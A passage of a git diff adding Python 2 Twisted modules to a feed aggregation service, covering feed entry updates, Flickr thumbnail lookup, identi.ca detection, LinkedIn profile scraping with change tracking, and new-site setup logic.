+    def maybeUpdateEntry(self, entry, old_entry):
+        published = None
+        updated = None
+
+        id = old_entry[0] # from the original select - ick
+
+        ep = entry["published"]
+        if ep:
+            published = datetime(*ep)
+
+        up = entry["updated"]
+        if up:
+            updated = datetime(*up)
+
+        needs_update = False
+
+        # check to see if anything has changed
+        # "title" : title [2]
+        # "link" : link [3]
+        # published : published [6]
+        # updated : updated [7]
+        # "summary" : summary [8]
+        # self.getBestContent(entry) : content [9]
+        # "display_cache" : display_cache [10]
+
+        if entry["title"] != old_entry[2] or \
+           entry["link"] != old_entry[3] or \
+           published != old_entry[6] or \
+           updated != old_entry[7] or \
+           entry["summary"] != old_entry[8] or \
+           self.getBestContent(entry) != old_entry[9]:
+            needs_update = True
+
+        # we only check the display_cache if it happens to be set in the feed
+        if entry["display_cache"] and (entry["display_cache"] != old_entry[10]):
+            needs_update = True
+
+        if not needs_update:
+            print("  no change to entry %s" % id)
+            return None
+
+        print("  updating entry %s" % id)
+
+        q = """
+            UPDATE site_history set title = %s, link = %s, touched = %s, published = %s, updated = %s, summary = %s, content = %s, display_cache = %s
+            WHERE id = %s
+            """
+        return self.dcm.runQuery(q, (entry["title"], entry["link"], datetime.utcnow(), published, updated,
+                                     entry["summary"], self.getBestContent(entry),
+                                     entry["display_cache"], id))
+
+    def updateSite(self, *args):
+        print("  updating site")
+        update = ""
+        args = []
+
+        # we only change the url field if it's set otherwise leave it
+        # be (might have been entered by the user and not included in
+        # the feed)
+        if self.feed["link"] is not None:
+            update += "url = %s, "
+            args.append(resolve_relative_url(self.feed["link"], self.state["feed_url"]))
+
+        # XXX we only set last_update if we actually made a change -
+        # check self.dirty
+        if self.dirty:
+            print("  updating last_update")
+            update += "last_update = %s, "
+            args.append(datetime.utcnow())
+
+        q = "UPDATE site set " + update + "feed_type = %s, title = %s, last_poll = %s WHERE id = %s"
+        args.extend([self.feed["version"], self.feed["title"], datetime.utcnow(), self.site_id])
+
+        d = self.dcm.runQuery(q, args);
+
+        d.addCallback(self.done)
+        d.addErrback(self.error)
+
+    def done(self, *args):
+        print("  done.")
+        self.state["site_history_new_ids"] = self.insert_ids
+        self.d.callback(dict(site_id=self.site_id))
+
+    def error(self, failure):
+        print("  got error %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+    def getBestContent(self, entry):
+        if entry["content"] is None:
+            return None
+
+        best = None
+        # XXX eventually try this with other types, text/plain, etc
+        for i in entry["content"]:
+            if i["type"] == u'text/html':
+                return i["value"]
+        
+        return best
+
diff --git a/services/command/flickr.py b/services/command/flickr.py
new file mode 100644 (file)
index 0000000..9789f60
--- /dev/null
@@ -0,0 +1,311 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import defer
+from twisted.web import xmlrpc
+from services.command.base import BaseCommand
+from xmlnode import XMLNode
+
+import services.config as config
+
+import re
+import simplejson
+import xmlrpclib
+import urlparse
+
+flickr_api_key = None
+
+def confirm_flickr_api_key():
+    global flickr_api_key
+    if flickr_api_key is not None:
+        return
+
+    try:
+        flickr_api_key = config.get("flickr", "api_key")
+    except:
+        print("Warning: no flickr api key defined.")
+
+flickr_api_endpoint = "http://api.flickr.com/services/xmlrpc/"
+
+# http://www.flickr.com/services/api/flickr.photos.getSizes.html
+
+class FlickrSetupCommand(BaseCommand):
+    """
+    This command sets everything up to grab the tiny image for a
+    flickr feed entry.
+    """
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "flickr-setup"
+        self.d = None
+
+    def doCommand(self, state, id):
+        self.id = id
+        self.state = state
+
+        state["id"] = id
+        state["site_id"] = id
+
+        q = """
+        SELECT link from site_history where id = %s
+        """
+
+        self.d = defer.Deferred()
+        d = self.dcm.runQuery(q, self.id)
+        d.addCallback(self.gotEntry)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def gotEntry(self, results):
+        self.state["link"] = results[0][0]
+        print("  flickr link %s" % self.state["link"])
+        self.state["photo_id"] = re.match("http://www.flickr.com/photos/[^/]+/([^/]+)/", self.state["link"]).group(1)
+        print("  flickr photo id %s" % self.state["photo_id"])
+
+        self.d.callback(self.state["photo_id"])
+
+    def error(self, failure):
+        print("got error: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+class FlickrGetSqURL(BaseCommand):
+    """
+    Call the flickr api to get the sizes for the given photo.
+    """
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "flickr-get-sq-url"
+        self.d = None
+
+    def doCommand(self, state, photo_id, **kw):
+        self.photo_id = photo_id        
+        self.state = state
+
+        confirm_flickr_api_key()
+        args = dict(api_key=flickr_api_key,
+                    photo_id=self.photo_id,
+                    format="xmlrpc",
+                    method="xmlrpc")
+
+        p = xmlrpc.Proxy(flickr_api_endpoint)
+        d = p.callRemote('flickr.photos.getSizes', args)
+
+        d.addCallback(self.gotSizes)
+        d.addErrback(self.sizesFailed)
+
+        self.d = defer.Deferred()
+
+        return self.d
+
+    def gotSizes(self, result):
+        print("  got sizes")
+
+        sq_url = None
+
+        try:
+            x = XMLNode.parseXML(result, True)
+
+            sizes = x.size
+            for i in sizes:
+                if i["label"] == "Square":
+                    sq_url = i["source"]
+                    break
+        except Exception, e:
+            print("exception while parsing: ")
+            print e
+
+        print("  url is %s" % sq_url)
+
+        self.d.callback(sq_url)
+
+    def sizesFailed(self, failure):
+        print("  sizes call failed: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+class FlickrUpdateDatabase(BaseCommand):
+    """
+    Update the the display cache with the url.
+    """
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "flickr-update-database"
+        self.d = None
+
+    def doCommand(self, state, sq_url, *args, **kw):
+        self.state = state
+        id = state["id"]
+        url = sq_url
+        q = """
+        UPDATE site_history SET display_cache = %s where id = %s
+        """
+
+        x = {"thumb": url}
+        url = simplejson.dumps(x)
+
+        self.d = defer.Deferred()
+        d = self.dcm.runQuery(q, (url, id))
+        d.addCallback(self.done)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def done(self, results):
+        print("  done.")
+        self.d.callback(None)
+
+    def error(self, failure):
+        print("  got error: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+class FlickrPreviewThumbnails(BaseCommand):
+    """
+    This is used from the preview code to get thumbnail images.  At
+    some point it will be used from the refresh site + new site code
+    as well.  Or something like it.
+    """
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "flickr-preview-thumbnails"
+        self.d = None
+        self.pos = 0
+
+    def doCommand(self, state, *args, **kw):
+        self.state = state
+        self.d = defer.Deferred()
+
+        # if this wasn't a flickr item, don't bother trying to get
+        # thumbnails
+        if self.state["type"] != "flickr":
+            print("  not a flickr feed - skipping thumbnails")
+            self.d.callback(None)
+            return self.d
+
+        print("  is a flickr feed - getting thumbnails")
+
+        self.entries = self.state["parsed_feed"]["entries"]
+
+        self.cacheNextThumbnail()
+
+        return self.d
+
+    # get the next thumbnail - will iterate until complete
+    def cacheNextThumbnail(self):
+        if self.pos == len(self.entries):
+            self.done()
+            return
+
+        f = FlickrGetSqURL()
+        photo_id = re.match("http://www.flickr.com/photos/[^/]+/([^/]+)/", self.entries[self.pos]["link"]).group(1)
+        d = f.doCommand(self.state, photo_id)
+        d.addCallback(self.cacheThumbnailDone)
+        d.addErrback(self.error)
+
+    def cacheThumbnailDone(self, url, *args, **kw):
+        self.entries[self.pos]["display_cache"] = simplejson.dumps(dict(thumb=url))
+
+        self.pos = self.pos + 1
+
+        self.cacheNextThumbnail()
+
+    def done(self):
+        self.d.callback(None)
+    
+    def error(self, failure):
+        print("  got error: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+
+class FlickrCacheError:
+    def __init__(self, dcm):
+        self.dcm = dcm
+        self.d = defer.Deferred()
+
+    def handleError(self, state, failure):
+        self.id = state["id"]
+        self.error_code = None
+        self.error_string = None
+
+        if failure.check(xmlrpclib.Fault):
+            # re-raise the exception so we can extract info from it
+            try:
+                failure.raiseException()
+            except xmlrpclib.Fault, e:
+                pass
+                # 1 == photo not found, 2 == permission denied
+                if e.faultCode == 1 or e.faultCode == 2:
+                    self.error_code = e.faultCode
+                    self.error_string = e.faultString
+                    print("error: %s %s" % (e.faultCode, e.faultString))
+
+        if self.error_code:
+            x = {"err_c": self.error_code, "err_s": self.error_string}
+            y = simplejson.dumps(x)
+            q = """
+                UPDATE site_history set display_cache = %s where id = %s
+                """
+            d = self.dcm.runQuery(q, (y, self.id))
+            d.addCallback(self.updateDone)
+            d.addErrback(self.error)
+        else:
+            self.d.errback(failure)
+
+        return self.d
+                
+    def error(self, failure):
+        self.d.errback(failure)
+
+    def updateDone(self, *args, **kw):
+        self.d.callback(None)
+
+class Flickr:
+    # function to see if a particular feed is a flickr feed or not
+    def isFlickrURL(self, url):
+        u = urlparse.urlparse(url)
+        urlparse.urlparse(url)
+        urlparse.clear_cache()
+        host = u[1]
+        path = u[2]
+
+        # flickr.com forms
+        # http://www.flickr.com/photos/12452321@N00/
+        # http://www.flickr.com/photos/christopherblizzard/
+        if host == 'www.flickr.com' or host == 'flickr.com':
+            match = re.match('/photos/([^/]+)', path)
+            if match:
+                print("  This is a flickr account.")
+                return True
+
+        return False
+
+    def getPreferredFeed(self, feeds):
+        for i in range(0, len(feeds)):
+            if feeds[i][1] == u'application/atom+xml' and re.search('format=atom', feeds[i][0]):
+                print("  Found preferred feed at %s" % feeds[i][0])
+                return feeds[i]
+
+        return None
+
+
diff --git a/services/command/htmlscrape.py b/services/command/htmlscrape.py
new file mode 100644 (file)
index 0000000..1bf7015
--- /dev/null
@@ -0,0 +1,97 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import defer
+from services.command.base import BaseCommand
+
+import simplejson
+
+process_name = "html-feed-scrape-service"
+
+class ScrapeLinkCommand(BaseCommand):
+    def __init__(self, sm):
+        BaseCommand.__init__(self)
+        """
+        Pass in a Process Manager to give us access to programs
+        running on this machine, including the html scraping
+        process. We just proxy to it.
+        """
+        self.deferred = None
+        self.sm = sm
+        self.filename = None
+        self.ss = None
+        self.name = "htmlscrape"
+
+    def doCommand(self, state, filename):
+        """
+        This command expects a filename coming into it and will return
+        a filename containing a json construct that contains the
+        links scraped from the html file.
+        """
+        self.deferred = defer.Deferred()
+        self.filename = filename
+        d = self.sm.getService(process_name)
+        d.addCallback(self.serviceReady)
+        d.addErrback(self.serviceFailure)
+        return self.deferred
+
+    def serviceReady(self, service):
+        self.ss = service
+        d = self.ss.proto.parse(self.filename)
+        d.addCallback(self.parseDone)
+        d.addErrback(self.parseError)
+
+    def serviceFailure(self, failure):
+        self.deferred.errback(failure)
+
+    def parseDone(self, filename):
+        self.sm.releaseService(self.ss)
+        self.ss = None
+        self.deferred.callback(filename)
+
+    def parseError(self, failure):
+        self.sm.serviceFailed(self.ss)
+        self.ss = None
+        self.deferred.errback(failure)
+
+class StateFeedToDatabaseCommand(BaseCommand):
+    """
+    This command will pull the feed url out of the state and push it
+    out to the new_site table in the database.
+    """
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.name = "state-feed-to-database"
+        self.dcm = dcm
+
+    def doCommand(self, state, *args, **kw):
+        url = state["feed_url"]
+        id = state["id"]
+        print("  url %s id %s" % (url, id))
+        q = """
+            UPDATE new_site SET status = "got_url", data = %s where id = %s
+            """
+        return self.dcm.runQuery(q, (simplejson.dumps(url), id))
+        
+        
+
+
diff --git a/services/command/identica.py b/services/command/identica.py
new file mode 100644 (file)
index 0000000..8769aad
--- /dev/null
@@ -0,0 +1,38 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# classes for identi.ca
+import re
+import urlparse
+
+class Identica:
+    def isIdentica(self, url):
+        u = urlparse.urlparse(url)
+        urlparse.clear_cache()
+        host = u[1]
+        path = u[2]
+
+        if host == "identi.ca" and re.match('^/([^/]+$)', path):
+            return True
+
+        return False
+
diff --git a/services/command/linkedin.py b/services/command/linkedin.py
new file mode 100644 (file)
index 0000000..21deacf
--- /dev/null
@@ -0,0 +1,366 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import defer
+from twisted.python.failure import Failure
+from services.command.base import BaseCommand
+from services.command.exceptions import PageNotFoundError
+from sgmllib import SGMLParser
+import datetime
+
+import re
+import simplejson
+
+class NewLinkedInSetup(BaseCommand):
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "new-linkedin-setup"
+        self.d = None
+
+    def doCommand(self, state, id):
+        self.id = id
+        self.state = state
+
+        state["id"] = id
+
+        q = """
+            SELECT person_id, url, track_info FROM new_site WHERE id = %s
+            """
+
+        self.d = defer.Deferred()
+
+        d = self.dcm.runQuery(q, self.id)
+        d.addCallback(self.gotNewSite)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def gotNewSite(self, results):
+        results = results[0]
+        new_site = dict()
+        new_site["person_id"] = results[0]
+        new_site["url"] = results[1]
+        new_site["track_info"] = results[2]
+        if new_site["track_info"]:
+            new_site["track_info"] = simplejson.loads(new_site["track_info"]);
+        else:
+            new_site["track_info"] = dict(remoteip=None, useragent=None, referer=None, follower=None)
+
+        self.state["person_id"] = results[0]
+        self.state["url"] = results[1]
+
+        self.state["new_site"] = new_site
+
+        self.d.callback(None)
+
+    def error(self, failure):
+        print("got error: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+class RefreshLinkedInSetup(BaseCommand):
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "refresh-linkedin-setup"
+        self.d = None
+
+    def doCommand(self, state, id):
+        print("  id is %s" % id)
+        self.state = state
+
+        state["site_refresh_id"] = id
+
+        self.d = defer.Deferred()
+
+        q = """
+            SELECT site_id FROM site_refresh WHERE id = %s
+            """
+
+        d = self.dcm.runQuery(q, id)
+        d.addCallback(self.gotRefreshSite)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def gotRefreshSite(self, results):
+        print("  got refresh site %s" % results)
+        id = results[0][0]
+
+        self.state["site_id"] = id
+
+        q = """
+            SELECT url, current FROM site WHERE id = %s
+            """
+
+        d = self.dcm.runQuery(q, id)
+        d.addCallback(self.gotSite)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def gotSite(self, results):
+        print("  got site")
+        results = results[0]
+        self.state["url"] = results[0]
+        self.state["old_entries"] = simplejson.loads(results[1])
+        self.d.callback(None)
+
+    def error(self, failure):
+        print("  site setup failed %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+class LinkedInUpdateCommand(BaseCommand):
+    def __init__(self, dcm):
+        self.dcm = dcm
+        self.name = "linkedin-update"
+        self.d = None
+
+    def doCommand(self, state, *args):
+        self.state = state
+
+        self.d = defer.Deferred()
+
+        # compare the current entry to what we downloaded
+        lc = LinkedInCompare()
+        changes = lc.getChanges(self.state["old_entries"],
+                                self.state["entries"])
+        # nothing to do?
+        if changes is None:
+            print("  no changes")
+            self.d.callback(None)
+            return self.d
+
+        print("  Inserting changes %s" % changes)
+
+        q = """
+            INSERT INTO site_changes (site_id, data, date) VALUES
+            (%s, %s, %s)
+            """
+
+        d = self.dcm.runQuery(q, (self.state["site_id"],
+                                  simplejson.dumps(changes),
+                                  datetime.datetime.utcnow()))
+        d.addCallback(self.insertDone)
+        d.addErrback(self.error)
+        
+        return self.d
+
+    def insertDone(self, *args):
+        print("  insert done")
+        q = """
+            UPDATE site SET current = %s, last_update = %s where id = %s
+            """
+
+        d = self.dcm.runQuery(q, (simplejson.dumps(self.state["entries"]),
+                                  datetime.datetime.utcnow(),
+                                  self.state["site_id"]))
+
+        d.addCallback(self.updateDone)
+        d.addErrback(self.error)
+
+    def updateDone(self, *args):
+        print("  update done")
+        self.d.callback(None)        
+
+    def error(self, failure):
+        print("  linkedin refresh failed %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+class LinkedInParser(SGMLParser):
+    def __init__(self):
+        self.entries = []
+        self.in_current = False
+        self.current_text = u""
+        self.in_title = False
+        self.title_text = u""
+        SGMLParser.__init__(self)
+
+    def reset(self):
+        SGMLParser.reset(self)
+
+    def unknown_starttag(self, tag, attrs):
+        if tag == 'title' and not self.in_title:
+            self.in_title = True
+
+        if tag == 'ul' and not self.in_current:
+            for i in attrs:
+                if i[0] == "class" and i[1] == "current":
+                    self.in_current = True
+
+        if tag == 'li':
+            self.start_new_item()
+
+    def unknown_endtag(self, tag):
+        if tag == 'ul' and self.in_current:
+            self.in_current = False
+            self.start_new_item()
+
+        if tag == "title" and self.in_title:
+            self.in_title = False
+
+    def handle_data(self, data):
+        if self.in_current:
+            self.current_text += data
+
+        if self.in_title:
+            self.title_text += data
+
+    def start_new_item(self):
+        self.current_text = self.current_text.strip()
+        if self.current_text and len(self.current_text):
+            self.entries.append(self.current_text)
+
+        self.current_text = u""
+
+    def found_user(self):
+        return re.search(u"Profile Not Found", self.title_text) == None
+
+class LinkedInCompare:
+    def getChanges(self, old, new):
+        s_old = set(old)
+        s_new = set(new)
+
+        if s_new == s_old:
+            return None
+
+        added = s_new.difference(s_old)
+        removed = s_old.difference(s_new)
+
+        return dict(added=[i for i in added], removed=[i for i in removed])
+
+class LinkedInScrapeCommand(BaseCommand):
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "linkedin-scrape"
+        self.d = None
+
+    def doCommand(self, state, filename):
+        self.state = state
+        self.entries = None
+        self.found_user = False
+        self.d = defer.Deferred()
+        try:
+            if self.getTest(state) == "linkedin_parse_add":
+                filename = "../tests/nose/data/linkedin/reidhoffman_added"
+            elif self.getTest(state) == "linkedin_parse_remove":
+                filename = "../tests/nose/data/linkedin/reidhoffman_removed"
+            elif self.getTest(state) == "linkedin_parse_empty":
+                filename = "../tests/nose/data/linkedin/reidhoffman_empty"
+            elif self.getTest(state) == "linkedin_parse_no_profile":
+                filename = "../tests/nose/data/linkedin/unknown"
+
+            self.doParse(filename)
+            if self.getTest(state) == "linkedin_parser_exception":
+                raise ValueError("fake parser exception")
+
+            # check to see if we actually found a page
+            if not self.found_user:
+                raise PageNotFoundError("no profile")
+
+            self.state["entries"] = self.entries
+            self.state["found_user"] = self.found_user
+
+            self.d.callback(None)
+        
+        except Exception, e:
+            self.d.errback(Failure(e))
+
+        return self.d
+
+    def doParse(self, filename):
+        f = open(filename)
+        l = LinkedInParser()
+        l.feed(f.read())
+        self.entries = l.entries
+        self.found_user = l.found_user()
+
+class LinkedInCreateCommand(BaseCommand):
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.name = "linkedin-insert"
+        self.dcm = dcm
+        self.d = defer.Deferred()
+
+    def doCommand(self, state, *args):
+        try:
+            self.state = state
+
+            state["type"] = "linkedin"
+
+            data = simplejson.dumps(self.state["entries"])
+
+            if self.getTest(state) == "linkedin_create_exception":
+                raise ValueError("fake create exception")
+
+            t = datetime.datetime.utcnow()
+
+            q = """
+                INSERT into site (person_id, url, type, created, last_update, last_poll, current)
+                VALUES (%s, %s, %s, %s, %s, %s, %s)
+                """
+            d = self.dcm.runInteraction(self.newInteraction, q,
+                                        (state["person_id"], state["url"], state["type"], t, t, t, data))
+
+            d.addCallback(self.newSetupDone)
+            d.addErrback(self.newSetupFailed)
+
+        except Exception, e:
+            self.d.errback(Failure(e))
+
+        return self.d
+
+    def newInteraction(self, trans, *args):
+        if self.getTest(self.state) == "linkedin_db_create_exception":
+            raise ValueError("fake db create exception")
+        trans.execute(*args)
+        return trans.lastrowid
+
+    def newSetupDone(self, results):
+        self.state["site_id"] = results;
+        print("  site setup done id %s" % results)
+        self.d.callback(None)
+
+    def newSetupFailed(self, failure):
+        print("  site setup failed %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+
+class LinkedInPreviewSave(BaseCommand):
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "linkedin-preview-save"
+        self.d = defer.Deferred()
+
+    def doCommand(self, state, *args):
+        self.state = state
+
+        state["type"] = "linkedin"
+
+        try:
+            state["current"] = simplejson.dumps(self.state["entries"])
+        except Exception, e:
+            self.d.errback(Failure(e))
+
+        self.d.callback(None)
+
+        return self.d
diff --git a/services/command/newsite.py b/services/command/newsite.py
new file mode 100644 (file)
index 0000000..09b1a05
--- /dev/null
@@ -0,0 +1,593 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import defer
+from twisted.python.failure import Failure
+from services.command.base import BaseCommand
+from services.command.setup import FileToStateCommand
+from services.command.download import DownloadCommand
+from services.command.htmlscrape import ScrapeLinkCommand
+from services.command.feedparse import FeedParseCommand
+from services.command.twitter import Twitter
+from services.command.flickr import Flickr
+from services.command.identica import Identica
+from services.command.delicious import Delicious
+from services.command.exceptions import PageNotFoundError, FeedNotFoundError, InvalidFeedError, \
+    NeedsFeedPickError
+from services.command.utils import resolve_relative_url
+from twisted.internet.error import ConnectionRefusedError
+import twisted.web.error as web_error
+import urlparse
+import datetime
+import re
+
+import simplejson
+
+class NewSiteSetup(BaseCommand):
+    """
+    This command sets everything up for the rest of the command to be
+    executed.  It gets the current entry from the database and starts
+    work on it.  The "status" variable in the new_site request is what
+    drives things.  It can get passed here in a couple of forms:
+
+    "new": This is a new request.
+
+    Someone just passed us a URL at random and we don't know what to
+    do with it.  So we set things up for the download command to go
+    get the URL.  From there it will take a guess as to if it's an
+    HTML page or a Feed.  That url is in the "try_url" entry in the
+    state.
+
+    That process will return and it will leave two things in the
+    state: "url" and "feed_url" - the two items that we need.  If it
+    downloaded it and it was a feed and there was no link to a URL,
+    it's just a pure feed so "url" will be None.  If it downloaded the
+    html page and there was more than one feed in the html, we set the
+    status in the database to "pick_url" and the user is expected to
+    go and pick from that set.
+
+    We then create our Site object.
+
+    We then go and refresh the feed.
+
+    "url_picked": This is a request that needs to be completed.
+
+    We have the URL and the Feed, all we need to do is finish setting
+    up the Site object and go refresh the feed.
+    """
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "new-site-setup"
+        self.state = None
+        self.d = defer.Deferred()
+        
+    def doCommand(self, state, id):
+        self.id = id
+        self.state = state
+
+        state["id"] = id
+
+        # Collect everything else we might need from the new-site
+        # command out of the database.  We might need to either go and
+        # find a link for a random url or we might have to just finish
+        # a request that was already started.
+        q = """
+            SELECT person_id, url, status, data, track_info FROM new_site WHERE id = %s
+            """
+        
+        d = self.dcm.runQuery(q, self.id)
+        d.addCallback(self.gotNewSite)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def gotNewSite(self, results):
+        results = results[0]
+        new_site = dict()
+        new_site["person_id"] = results[0]
+        new_site["url"] = results[1]
+        new_site["status"] = results[2]
+        new_site["data"] = results[3]
+        new_site["track_info"] = results[4]
+
+        # decode data
+        if new_site["data"]:
+            new_site["data"] = simplejson.loads(new_site["data"])
+
+        if new_site["track_info"]:
+            new_site["track_info"] = simplejson.loads(new_site["track_info"])
+        else:
+            new_site["track_info"] = dict(remoteip=None, useragent=None, referer=None, follower=None)
+
+        self.state["new_site"] = new_site
+
+        if new_site["status"] == "new" or new_site["status"] == "preview":
+            self.state["try_url"] = new_site["url"]
+            self.state["url"] = None
+            self.state["feed_url"] = None
+            self.state["feed_title"] = None
+
+        if new_site["status"] == "url_picked" or new_site["status"] == "preview_url_picked":
+            self.state["url"] = new_site["url"]
+            # should be url, type, title
+            self.state["feed_url"] = new_site["data"][0]
+            self.state["feed_title"] = new_site["data"][2]
+
+#        print self.state
+
+        self.d.callback(None)
+
+    def error(self, failure):
+        print("got error: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+
+class NewSiteTryURL(BaseCommand):
+    """
+    If "try_url" is set in the state this command will go and fetch a
+    URL and try to figure out if it's a feed or an HTML page.  If it's
+    an HTML page it will parse the page and extract the links from it.
+    If it turns out to be a feed, it will save the results from the
+    parse and let the normal feed parsing take over.
+    """
+    def __init__(self, sm, dcm):
+        BaseCommand.__init__(self)
+        self.sm = sm
+        self.dcm = dcm
+        self.name = "new-site-try-url"
+        self.d = None
+        self.state = None
+
+    def doCommand(self, state, *args, **kw):
+        self.state = state
+        self.d = defer.Deferred()
+
+        # If we got to this point and "url" and "feed_url" are already
+        # defined, we're resuming from a pick that was needed.  So we
+        # don't need to detect anything.  Set up the site object
